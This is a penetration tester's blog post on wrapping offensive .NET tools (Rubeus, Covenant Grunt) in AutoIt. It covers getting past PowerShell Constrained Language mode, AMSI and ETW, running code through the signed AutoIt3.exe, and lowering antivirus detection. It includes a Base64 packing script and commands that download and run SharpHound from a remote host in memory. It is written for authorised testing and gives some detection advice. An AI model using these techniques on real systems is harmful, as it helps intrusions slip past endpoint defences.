Auto(It)mating your .NET Tradecraft

Auto(It)mating your .NET Tradecraft

AutoIt, .NET and Windows protection bypasses.

Background

The security community has been gifted a number of fantastic Offensive[insert language here] projects over the past few years. A couple that I know about are OffensiveCSharp, OffensiveDLR, OffensiveNim, OffensiveRust and OffensiveVBA.

I have to admit that my intention when I started learning AutoIt was never to put together an OffensiveAutoIt repo. But hey, here we are…

Avengers assemble

One of my favorite projects from byt3bl33d3r’s OffensiveNim repo is execute_assembly_bin.nim which makes it possible to host the CLR and reflectively execute .NET assemblies from memory. This example was made even better after S3cur3Th1sSh1t’s awesome blog post about customizing it for use during an actual engagement.

At some point during my exploration of AutoIt, I found out that it’s also possible to use AutoIt to host the CLR and execute .NET assemblies. This blog is about my attempts at turning this capability into something that could be useful during security assessments.

AutoIt .NET CLR library

Support for the .NET Common Language Runtime (CLR) isn’t built into AutoIt by default. But one of AutoIt’s greatest strengths is its very active community and the countless user defined functions (UDF) they’re responsible for.

My favorite AutoIt UDF has to be the incredible AutoIt .NET CLR library which was developed by ptrex, Danyfirex, Larsj, Trancexx and Junkew.

There are tons of templates in the UDF’s examples folder demonstrating just how much you can do with this library. A lot of them are pretty cool and worth checking out if you’ve got the time.

AutoIt .NET CLR examples A small sample of the examples in the .NET CLR UDF folder.

Execute PowerShell

While PowerShell was the number one language preferred for offensive tool development in Windows environments for a number of years, its popularity has waned since Microsoft’s admirable efforts to build detections and protections for PowerShell based tradecraft.

Still though, PowerShell is far from dead and it remains a valuable tool for anyone involved in Windows/Active Directory security. So when I found this example shared by ptrex in the AutoIt forums - I had to fiddle with it and make it something I could use in the field.

ptrex’s AutoIt script uses the AutoIt .NET CLR library to host the CLR and execute an embedded PowerShell script/command through an unmanaged runspace. It also offers a number of output options for the script’s execution results.

Powershell command example Executing a PowerShell command with UI grid output.

My modifications to this script were minimal. Instead of an embedded PowerShell command/script, I altered it to take a Powershell command as a parameter passed to the executable. I also removed all of the output options since console output is usually preferred for offensive tools.

NOTE: Getting direct console output from this script doesn’t work. I found a discussion about it in the AutoIt forums, but I didn’t come across any solutions for it. I instead used a ghetto workaround by writing the script’s output to a temporary file on disk, reading the file’s contents and then deleting it immediately after.

ExecutePowershell.au3

Execute .NET assemblies

Executing PowerShell is great, but a significant majority of offensive tooling today is .NET assemblies written in C#. Imagine my surprise when I found a script in the AutoIt .NET CLR UDF examples folder that hosts the CLR and executes .NET assemblies in memory.

The script (written by Danyfirex) contains a Base64 encoded .NET assembly that pops a message box when executed.

.NET message box

Base64 encoding .NET assemblies

The first step I had to take care of was Base64 encoding .NET assemblies in a format that I could easily insert into the script. Fortunately, S3cur3Th1sSh1t’s already wrote a PowerShell script that converts .NET executables into Nim byte arrays for use in execute_assembly_bin.nim.

A couple of adjustments later and we have a PowerShell script that converts C# executables into a multi-line Base64 encoded variable that we can paste right into our AutoIt script. The Powershell script can be found below. I’ve also uploaded it to my gists on GitHub.

function CSharpToAutoItBase64
{

# This entire script is heavily adapted from - https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
# Huge shoutout to S3cur3Th1sSh1t (https://twitter.com/ShitSecure) for writing the original script

Param
    (
        [string]
        $inputfile,
        [switch]
        $folder
)

    if ($folder)
    {
        $Files = Get-Childitem -Path $inputfile -File
        $fullname = $Files.FullName
        Write-Host "`n"
        foreach($file in $fullname)
        {
            Write-Host -ForegroundColor yellow "[*] Converting $file"
            $outfile = $File + ".AutoItBase64.txt"
            $base64String = [convert]::ToBase64String((Get-Content -path $File -Encoding byte))

            # Some string shenanigans to split the base64 assembly
            $stringSplit = $base64String -split '(\w.{999})', 1000 | ? {$_}
            $stringSplit = $stringSplit | Out-String
            $stringSplit = $stringSplit.replace("`r`n","'`r`n")
            $stringSplit = ($stringSplit.split("`n") | ForEach-Object {"`$Base64Assembly &= '$_"}) -join("`n")
            $stringSplit = $stringSplit -replace ".{20}$"    
            
            # Write results
            $stringSplit | out-file $outfile
         
        }
        Write-Host -ForegroundColor green "`n[+] Base64 conversion results written to the same folder`n"
    }
    else
    {
        Write-Host -ForegroundColor yellow "`n[*] Converting $inputFile to AutoIt Base64`n"
        $outFile = $inputFile + ".AutoItBase64.txt"
        $base64String = [convert]::ToBase64String((Get-Content -path $inputFile -Encoding byte))
        
        # Some string shenanigans to split the base64 assembly
        $stringSplit = $base64String -split '(\w.{999})', 1000 | ? {$_}
        $stringSplit = $stringSplit | Out-String
        $stringSplit = $stringSplit.replace("`r`n","'`r`n") 
        $stringSplit = ($stringSplit.split("`n") | ForEach-Object {"`$Base64Assembly &= '$_"}) -join("`n")
        $stringSplit = $stringSplit -replace ".{20}$"

        # Write results
        $stringSplit | out-file $outFile
 
        Write-Host -ForegroundColor green "`n[+] Base64 conversion results written to $outFile`n"        

    }
} 

Using this script, we can automatically convert a single binary or an entire folder containing .NET executables into their AutoIt Base64 encoded equivalent.

# Import script
$env:psexecutionpolicypreference="bypass"
Import-Module .\CSharpToAutoItBase64.ps1

# Convert a single .NET assembly
CSharpToAutoItBase64 -inputfile dotNetAssembly.exe
# Convert an entire folder of executables
CSharpToAutoItBase64 -folder /folder/with/executables

CSharpToAutoItBase64.ps1 usage.

Convert .NET to Base64

Once we have our multi-line Base64 variable, all we have to do is replace the embedded .NET assembly in our script with it.

Replace Base64 assembly

Then we compile and execute. Easy peasy.

Execute Rubeus assembly I had to turn Defender off to successfully execute Rubeus, but we’ll get to that in a bit.

Passing arguments to assemblies (fail)

The script I’ve been modifying uses the Invoke_3 method to execute the encoded .NET assembly. Unfortunately, the script’s original author wrote it to execute assemblies with null parameters/arguments.

This sucks because majority of the offensive tools a tester would use during an assessment require parameters to receive commands.

Null assembly arguments We can’t pass arguments to the embedded .NET assembly.

I’ve been pulling my hair out (very fruitlessly) for a couple of nights trying to figure out how to pass parameters to Invoke_3. I know it’s possible because I’ve found examples in other languages that do it. Like this C++ project by 3gstudent, but my attempts to port this example to AutoIt keep hitting a dead end. SafeArrays and variants suck 🤮

I’m going keep trying to figure it out, but for now - the script is only useful for executing .NET assemblies without any parameters. For example, a Covenant grunt.

ExecuteAssembly Grunt

Windows protections

We have have 2 PoCs so far; one that executes unmanaged PowerShell and another that executes .NET assemblies in memory. But as they stand, they don’t include any bypasses for protections and detections that we may have to deal with during a real world engagement. Let’s take a look at some of the Windows defenses that testers often face in the field.

1) CLM

PowerShell Constrained Language is a language mode of PowerShell designed to support day-to-day administrative tasks, yet restrict access to sensitive language elements that can be used to invoke arbitrary Windows APIs. Read more.

The easiest way to enable Constrained Language mode in your current PowerShell session is by setting the property below:

# Check current language mode
$ExecutionContext.SessionState.LanguageMode

# Enable ConstrainedLanguage mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

# Attempt file download
iex(new-object net.webclient).downloadfile('http://192.168.60.202:8000/SharpHound.exe', '.\SharpHound.exe')

Enable CLM CLM preventing a file download using System.Net.WebClient.

If you’ve dealt with CLM before, then you know that bypassing it can be as simple as opening another PowerShell session which will default to FullLanguage mode - this of course entirely depends on the specific configuration you’re facing. However, if CLM is appropriately configured and combined with other security measures such as AppLocker, then it can be a real pain in the ass to cope with during engagements.

Luckily for us, one of the most popular techniques used to bypass CLM is “bringing your own PowerShell” by loading an unmanaged runspace via the System.Management.Automation namespace - which is exactly what the ExecutePowerShell.au3 script is doing.

# File download with ExecutePowershell.exe
.\ExecutePowershell.exe "iex(new-object net.webclient).downloadfile('http://192.168.60.202:8000/SharpHound.exe', '.\SharpHound.exe')"

Bypass CLM

This one kinda took care of itself. Let’s move onto AMSI.

2) AMSI

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads. Read more.

Facing AMSI is more or less a guarantee in modern Windows environments. It’s integrated into PowerShell, Office macros, JavaScript/VBScript and more. We can test how ExecutePowerShell.au3 performs against AMSI by trying to download and execute a known malicious script like SharpHound.ps1 in memory.

# Download and execute SharpHounds.ps1 in memory
.\ExecutePowerShell.exe "iex(new-object net.webclient).downloadstring('http://192.168.60.202:8000/SharpHound.ps1');Invoke-BloodHound -help"

AMSI alert

Yeah, execution fails and Defender raises the alarm. This is because PowerShell submitted our content to the AMSI APIs, contained in amsi.dll, which deemed the script we’re attempting to execute to be malicious. The same thing happens if we try and use ExecuteAssembly.au3 to execute a malicious .NET assembly like Rubeus in memory.

AMSI alert Rubeus

The AmsiScanBuffer patch by _RastaMouse is one of the most widely known methods used to bypass AMSI; so much so that if you try and use it out-of-the-box, it will immediately get flagged by Defender. But it still works, all it takes is some creative modification before use - like the great work done here by FatRodzianko. Using this script as a template, I was able to port AmsiScanBuffer to AutoIt. At the end of the day it’s all just Win32 API calls, which AutoIt fully supports. The AutoIt version of the AMSI patch can be found here.

Now all we have to do is include the AMSI patch in ExecutePowerShell.au3 and ExecuteAssembly.au3 before the execution of our command/assembly occurs and we should be able to successfully get past Defender’s AMSI checks.

Bypass AMSI Bypassing AMSI in both scripts.

Nice. Now let’s close this section with Event Tracing for Windows (ETW).

3) ETW

Event Tracing for Windows (ETW) is an efficient kernel-level tracing facility that lets you log kernel or application-defined events to a log file. You can consume the events in real time or from a log file and use them to debug an application or to determine where performance issues are occurring in the application. Read more.

ETW isn’t as much of an active threat to attackers as AMSI since it won’t block execution or raise any alerts by default. But it’s proven to be a great source of telemetry for Defenders and security products like EDRs to detect unwanted behavior on Windows systems. Using just a few of the countless ETW providers, such as the Microsoft-Windows-DotNETRuntime - defenders have been able to build detection opportunities around abused techniques that don’t currently have adequate visibility built in.

The simplest way to test ETW detection is by using Process Hacker’s “.NET assemblies” tab to view the assemblies being loaded by any process/executable on your system. In the example below, I used ExecuteAssembly.au3 to run a Covenant Grunt. I then used Covenant’s Assembly task to execute a few .NET assemblies in memory. Even though none of the assemblies were ever on disk, we still see their full names in our Grunt processes’ properties.

Process Hacker .NET assemblies Change your assembly names, people 😉

SilkETW by FuzzySec is also an amazing way to build and play with ETW detections in your lab. Especially because you can combine it with YARA rules.

SilkETW with YARA SilkETW configured with basic YARA rules that detect specific assembly names from the Microsoft-Windows-DotNETRuntime provider’s logs in real time.

Now that we’ve proved that ETW can be troublesome to handle as an attacker; how do we deal with it? We can effectively patch ETW out of our current process using this cool technique discovered by _xpn_. Its workflow is conveniently similar to the AMSI bypass earlier, so porting the patch to AutoIt was pretty painless. I’ve uploaded the AutoIt ETW patch to GitHub.

Let’s get the Grunt running again with the patch included and see what Process Hacker can see.

Patch ETW ETW event collection is blocked in our process.

Awesome. We have a script that can bypass both AMSI and ETW. Let’s see if we can make this even better by getting .NET execution in a trusted process.

.a3x scripts

Up until this point, all the examples I’ve demonstrated in this blog have been unsigned standalone console application executables (.exe files). But that’s not the only way we can execute AutoIt scripts on Windows systems.

AutoIt provides a couple of compilation and execution options that we could use to spice up our tradecraft. I’ve summarized them below.

  1. Compile scripts into standalone console application executables (.exe). This is the option we’ve been using in this blog so far.
  2. Execute plaintext scripts (.au3 files) using AutoIt3.exe.
  3. Compile scripts into .a3x format (AutoIt v3 compiled script file) and execute them using AutoIt3.exe. Let’s dive a little deeper into this specific option.

.a3x file format

An .a3x file is an AutoIt binary compiled with all its referenced #include files and without the AutoIt interpreter built into it. I’ve included a little more information about .a3x files here.

You can compile scripts into .a3x files directly from SciTE, the default editor that comes with AutoIt installations, or by using Aut2Exe.

# Compiling a script into .a3x format using Aut2Exe
Aut2Exe.exe /in in-script.au3 /out out-script.a3x

SciTE .a3x compilation .a3x compilation using ScITE

What’s the primary benefit of using the .a3x format? It’s simple, we can compile an AutoIt script with any number of includes into a single non-plaintext file that we can then execute using AutoIt3.exe; which just happens to be digitally signed.

Code signing 101

First, a quick definition of code signing from Digicert:

Code signing certificates are used by software developers to digitally sign applications, drivers, executables and software programs as a way for end-users to verify that the code they receive has not been altered or compromised by a third party

Some applications and defensive products such as Microsoft’s SmartScreen, Google Safe browsing and AVs/EDRs check unknown executables for digital certificates before allowing or denying their execution.

Microsoft SmartScreen SmartScreen preventing the execution of an unsigned executable.

Acquiring a code signing certificate for use in real world engagements isn’t impossible, but it’s not a breeze either. Certificates get revoked pretty quickly once they’re detected being used with malware. This is why tools such as LazySign by jfmaes and LimeLighter by Tyl0us exist. It may not always be possible to digitally sign your offensive tools, but faking a code signing certificate is always better than having none at all.

AutoIt3.exe and AutoIt3_x64.exe are digitally signed, meaning we can use them to execute our .a3x compiled .NET assemblies in the context of a signed/trusted process.

.a3x Grunt A Covenant Grunt executed using AutoIt3_x64.exe

NOTE: You don’t need to install AutoIt on target systems to use AutoIt3.exe or AutoIt3.exe_x64. They’re both completely standalone programs - just upload the one you need together with the script(s) you want to execute on any Windows box and you’re good to go. You can also rename the AutoIt executable and change the extension of the .a3x script to anything you’d like. This might be useful for dodging command line based detections.

Renamed AutoIt Renamed AutoIt executable and .a3x script running on a system without AutoIt installed.

File sizes

File size is always a concern when wrapping binaries in other languages. The image below shows a few popular .NET assemblies in comparison with their sizes when wrapped in AutoIt executables and AutoIt compiled script files.

File size comparison Original .NET assemblies are marked in blue.

There’s no ignoring the insane THICCness of the AutoIt compiled executables, but the AutoIt compiled script files (.a3x) aren’t too bad compared to the original assembly size. .a3x files are much smaller than AutoIt executables because they don’t have the AutoIt interpreter built into them.

Caveats

  • Because AutoIt3.exe is a GUI program, you won’t get console output when using it to execute an .a3x compiled script file. A quick fix for this is piping commands to Out-Host, this should print the script’s output to console. Piping commands to more also works.

.a3x console output

Antivirus detections

If you’ve gotten this far, you might be wondering how many AV engines on VirusTotal can detect a .NET assembly wrapped in an AutoIt script/executable. Let’s test this out with Rubeus, since we can assume it’s likely to be detected by a significant number of engines.

The latest unmodified build of Rubeus, pulled directly from SharpCollection is detected by 33/67 engines. About what we’d expect, especially considering how popular Rubeus is.

VT Rubeus detections

The same executable, Base64 encoded in an AutoIt script and compiled as a console application executable (.exe) earned itself 5/67 detections. I have to admit that was a much larger drop than I was expecting, especially since the Rubeus assembly was embedded using a pretty basic form of encoding.

VT Rubeus-AU3 detections

Again - vanilla Rubeus, Base64 encoded in a script but this time compiled as an AutoIt compiled script file (.a3x). 1/56 engine detections. Almost 0, but not quite there 😅

This isn’t very thorough testing - but from what I’ve seen so far, it looks like a notable number of engines don’t support scanning .a3x files. If you’re a Defender, you might want to look out for those in your environment.

VT Rubeus-a3x detections

In case you’re curious, the original GruntHTTP.exe got 39/68 detections, GruntHTTP-AU3.exe (AutoIt executable) got 6/67 and Grunt.a3x got 1/56.

VT GruntHTTP comparison .a3x FTW I guess?

How about AutoIt3_x64.exe? We’d have to upload this to a target system to execute .a3x compiled scripts, so we should probably check out its detections as well. AutoIt3_x64.exe picked up 1/72 detections (and 2/72 detections for AutoIt3.exe- the 32 bit version).

VT AutoIt3 detections

Low or non-existent detections in this case aren’t surprising. AutoIt3_x64.exe is legitimate signed software, an AV scan is expected to come up clean. So if you ever decide to attempt using any of this in the field, you should invest more time in obfuscating your AutoIt script and not bother stressing over the AutoIt3 binary itself.

Tradecraft enhancements

  • Base64 is trivial to decode. It would be more advisable to encrypt the .NET assembly instead and then decrypt it at runtime. I considered investing some time in this, but eventually dropped it since the Base64 encoding was enough to beat the detections I was testing my scripts against.
  • Decompiling AutoIt executables/compiled scripts is usually very undemanding. Numerous publicly available tools exist that automate the process for either format of files. I’ve documented the usage of some of them in my OffensiveAutoIt repo. If you’re worried about your tooling getting analyzed, then consider obfuscating your AutoIt scripts before compiling them and using them in the field.
  • Likewise, obfuscating your .NET assemblies before wrapping them in other languages would help beat signature based detections.

Conclusion

At this point, we’ve learned that wrapping offensive tools in other languages can be a great way to bypass defenses and avoid detection. I didn’t come across any material mentioning the specific use of AutoIt’s .NET CLR support for offensive purposes; but if there’s one thing I’ve learned during my years in security it’s that you’re never the first.

Developing and using AutoIt tradecraft in the field has plenty of drawbacks, but it also has some merits. The aim of this post was to highlight a few of them, share what I learned and potentially offer more execution options to testers during assessments.

Both of the scripts in this post can be found in the OffensiveAutoIt repo. For Defenders, this also proves that trusting all signed executables isn’t enough to alleviate risk, attackers can still find ways to get execution in the context of trusted processes. Application whitelisting isn’t the easiest protection mechanism to implement, but from my personal experience; it’s worth the effort. I’ve also included a few detection and malware analysis resources for AutoIt based malware and I’m absolutely willing to add some more, so feel free to send a pull request if you’ve got any.

References


© 2022. VIVI.